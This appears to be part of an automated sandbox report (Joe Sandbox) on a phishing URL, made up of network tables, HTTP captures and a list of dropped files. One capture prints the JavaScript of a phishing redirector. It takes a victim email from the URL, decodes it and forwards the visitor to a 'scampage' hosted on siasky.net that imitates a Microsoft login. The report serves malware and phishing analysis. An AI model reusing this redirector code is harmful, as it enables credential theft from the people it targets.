Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 20:48:14.453181982 CEST	57723	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:14.480727911 CEST	53	57723	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:14.565001965 CEST	58116	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:14.566581964 CEST	57421	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:14.592854977 CEST	53	58116	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:14.599487066 CEST	53	57421	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:15.425929070 CEST	65266	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:15.443541050 CEST	53	65266	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:15.547816992 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.573733091 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.574408054 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.600337982 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.600392103 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.600431919 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.600470066 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.602142096 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.603195906 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.645534992 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.646014929 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.678716898 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.680135965 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.687824011 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.687858105 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.687885046 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.688357115 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.723922014 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:15.740948915 CEST	443	65268	142.250.186.110	192.168.2.3
Aug 5, 2022 20:48:15.742791891 CEST	65268	443	192.168.2.3	142.250.186.110
Aug 5, 2022 20:48:16.678680897 CEST	63548	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:16.838030100 CEST	53	63548	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:17.064337015 CEST	49327	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:17.094125986 CEST	53	49327	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:17.391609907 CEST	51391	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:17.392278910 CEST	58981	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:17.412085056 CEST	53	58981	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:18.518742085 CEST	52985	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:18.538099051 CEST	53	52985	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:19.698540926 CEST	55151	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:19.720171928 CEST	53	55151	8.8.8.8	192.168.2.3
Aug 5, 2022 20:48:25.542257071 CEST	52096	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:28.211872101 CEST	60640	53	192.168.2.3	8.8.8.8
Aug 5, 2022 20:48:30.145373106 CEST	63861	53	192.168.2.3	8.8.8.8

Timestamp	kBytes transferred	Direction	Data
Aug 5, 2022 20:48:16.878276110 CEST	1350	OUT	GET /?id=peter@deep-tree.com HTTP/1.1 Host: uzeljxrx.yo4eisc.oxygenalmas.ir Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Aug 5, 2022 20:48:16.928489923 CEST	1363	IN	HTTP/1.1 200 OK Date: Fri, 05 Aug 2022 18:48:16 GMT Server: Apache Content-Length: 7390 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 20 4d 6f 76 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 21 2d 2d 20 52 65 20 2d 2d 3e 0a 20 20 20 20 3c 21 2d 2d 20 49 43 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 2f 2f 64 6f 6d 61 69 6e 20 73 74 72 69 6e 67 20 74 6f 20 6d 61 74 63 68 20 69 66 20 72 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 64 6f 6d 61 69 6e 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 4d 61 74 63 68 69 6e 67 20 3d 20 27 67 6f 6f 67 6c 65 27 3b 20 2f 2f 77 68 65 72 65 20 67 6f 20 67 6f 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 67 6f 6f 67 6c 65 0a 20 20 20 20 20 20 20 20 2f 2f 77 68 65 72 65 20 74 6f 20 72 65 64 69 72 65 63 74 20 73 63 61 6d 70 61 67 65 20 75 72 6c 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 65 64 69 72 65 63 74 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 73 69 61 73 6b 79 2e 6e 65 74 2f 32 67 30 30 32 67 66 63 32 67 75 61 70 76 30 37 30 38 66 35 69 63 6e 73 75 66 37 39 71 39 6f 73 30 62 76 38 36 73 6a 75 6f 73 63 75 66 73 73 39 6c 6b 6d 6c 36 61 30 23 27 3b 0a 20 20 20 20 20 20 20 20 2f 2f 72 65 64 69 72 65 63 74 20 73 70 65 72 61 74 6f 72 20 77 6f 72 64 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 65 64 69 72 65 63 74 44 65 6c 69 6d 69 74 65 72 20 3d 20 27 23 27 3b 0a 20 20 20 20 20 20 20 20 2f 2f 65 6e 61 62 6c 65 20 62 61 73 65 36 34 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 6e 61 62 6c 65 62 61 73 65 36 34 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 65 63 6f 64 65 62 61 73 65 36 34 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 2a 0a 2a 20 20 42 61 73 65 36 34 20 65 6e 63 6f 64 65 20 2f 20 64 65 63 6f 64 65 0a 2a 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 65 62 74 6f 6f 6c 6b 69 74 2e 69 6e 66 6f 2f 0a 2a 0a 2a 2a 2f 0a 76 61 72 20 42 61 73 65 36 34 20 3d 20 7b 0a 0a 2f 2f 20 70 72 69 76 61 74 65 20 70 72 6f 70 65 72 74 79 0a 5f 6b 65 79 53 74 72 20 3a 20 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 0a 0a 2f 2f 20 70 75 62 6c 69 63 20 6d 65 74 68 6f 64 20 66 6f 72 20 65 6e 63 6f 64 69 6e 67 0a 65 6e 63 6f 64 65 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 75 74 29 20 7b 0a 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 22 22 3b 0a 20 20 20 20 76 61 72 20 63 68 72 31 2c 20 63 68 72 32 2c 20 63 68 72 33 2c 20 65 6e 63 31 2c 20 65 6e 63 32 2c 20 65 6e 63 33 2c 20 65 6e 63 34 3b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 30 3b 0a 0a 20 20 20 20 69 6e 70 75 74 20 3d 20 42 61 73 65 36 34 2e 5f 75 74 66 38 5f 65 6e 63 6f 64 65 28 69 6e 70 75 74 29 3b 0a 0a 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 69 6e 70 75 74 2e 6c 65 6e 67 74 68 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 63 68 72 31 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 63 68 72 32 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 63 68 72 33 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 0a 20 20 20 20 20 20 20 20 65 6e 63 31 20 3d 20 63 68 72 31 20 3e 3e 20 32 3b 0a 20 20 20 Data Ascii: <!DOCTYPE html><html><head> <title>We Moving</title> ... Re --> ... IC --> <script type="text/javascript"> //domain string to match if redirecting to domain var domainMatching = 'google'; //where go going to redirect domain name google //where to redirect scampage url var redirectUrl = 'https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0#'; //redirect sperator word var redirectDelimiter = '#'; //enable base64 var enablebase64 = false; var decodebase64 = false; /**** Base64 encode / decode* http://www.webtoolkit.info/***/var Base64 = {// private property_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",// public method for encodingencode : function (input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = Base64._utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2;
Aug 5, 2022 20:48:16.928535938 CEST	1364	IN	Data Raw: 20 20 20 20 20 65 6e 63 32 20 3d 20 28 28 63 68 72 31 20 26 20 33 29 20 3c 3c 20 34 29 20 7c 20 28 63 68 72 32 20 3e 3e 20 34 29 3b 0a 20 20 20 20 20 20 20 20 65 6e 63 33 20 3d 20 28 28 63 68 72 32 20 26 20 31 35 29 20 3c 3c 20 32 29 20 7c 20 28 Data Ascii: enc2 = ((chr1 & 3) << 4) \| (chr2 >> 4); enc3 = ((chr2 & 15) << 2) \| (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64;
Aug 5, 2022 20:48:16.928574085 CEST	1365	IN	Data Raw: 74 70 75 74 2e 72 65 70 6c 61 63 65 28 2f 5b 5e 41 2d 5a 61 2d 7a 20 30 2d 39 20 5c 2e 2c 5c 3f 22 22 21 40 23 5c 24 25 5c 5e 26 5c 2a 5c 28 5c 29 2d 5f 3d 5c 2b 3b 3a 3c 3e 5c 2f 5c 5c 5c 7c 5c 7d 5c 7b 5c 5b 5c 5d 60 7e 5d 2a 2f 67 2c 20 27 27 Data Ascii: tput.replace(/[^A-Za-z 0-9 \.,\?""!@#\$%\^&\\(\)-_=\+;:<>\/\\\\|\}\{\[\]`~]/g, ''); return output;},// private method for UTF-8 encoding_utf8_encode : function (string) { string = string.replace(/\r\n/g,"\n"); var utftex
Aug 5, 2022 20:48:16.928647041 CEST	1367	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 32 20 3d 20 75 74 66 74 65 78 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 31 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 33 20 3d 20 75 74 66 74 65 78 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b Data Ascii: { c2 = utftext.charCodeAt(i+1); c3 = utftext.charCodeAt(i+2); string += String.fromCharCode(((c & 15) << 12) \| ((c2 & 63) << 6) \| (c3 & 63)); i += 3; } } string = string.rep
Aug 5, 2022 20:48:16.928689003 CEST	1368	IN	Data Raw: 2e 64 65 63 6f 64 65 28 65 6e 63 6f 64 65 64 29 2e 74 72 69 6d 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: .decode(encoded).trim(); dataDecoded = decodeURIComponent(dataDecoded); if (dataDecoded.match(domainMatching)) {
Aug 5, 2022 20:48:16.928725958 CEST	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 56 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 70 61 72 61 6d 29 20 26 26 20 64 65 63 6f 64 65 62 61 73 65 36 34 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: if(ValidateEmail(param) && decodebase64){ window.location.href = redirectUrl + param; } }

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:14 UTC	0	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:14 UTC	0	OUT	Data Raw: 20 Data Ascii:
2022-08-05 18:48:14 UTC	3	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 05 Aug 2022 18:48:14 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-RSNheL4QGzQk8z2kAyKxVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'nonce-RSNheL4QGzQk8z2kAyKxVw' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-05 18:48:14 UTC	5	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2022-08-05 18:48:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:14 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:14 UTC	2	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-uWbThdooPfnboMF4fnEydA' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 05 Aug 2022 18:48:14 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5695 X-Daystart: 42494 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2022-08-05 18:48:14 UTC	3	IN	Data Raw: 33 31 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 39 35 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 34 32 34 39 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 31b<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5695" elapsed_seconds="42494"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2022-08-05 18:48:14 UTC	3	IN	Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a
2022-08-05 18:48:14 UTC	3	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\1924e7b4-fc2f-442a-a8e9-47a3021abae4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\2d7585f1-456d-4864-aa2c-a98375389be8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\3259442b-2f91-41a0-ade0-cc9e19502a2d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\3317a499-dda0-4674-83e9-f2ac7f4086c3.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\3b4110a6-d4b5-4e34-9d41-247611cd53d8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\54057915-9a01-4fa8-b276-08d33cbc1da5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\55335c09-6e57-41f6-bcec-6aab773ef5a9.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0499e90b-85db-4f0f-9af8-6732346863f0.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\22048632-7985-4d22-8990-dc9860186be4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\24f2239f-2135-4971-9865-ae30cd407358.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\2a36b8fe-1aa8-48f2-a61a-30597ad0afeb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\42a92d6e-8a9e-44f0-9d6c-5cfecf76182a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\704f664a-af04-4252-920a-ff821584a18a.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\84a10410-91ba-414c-8226-cd0e53fdc0a7.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\fcda6764-7008-41be-8eab-c0373b28bcd5.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\96a20150-f83e-49f2-86db-68869501684d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:18 UTC	203	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:18 UTC	204	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 4804813 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Fri, 05 Aug 2022 18:48:18 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (frc/8F98) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: de9333a2-401e-002e-2048-7d613a000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2022-08-05 18:48:18 UTC	204	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2022-08-05 18:48:18 UTC	220	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 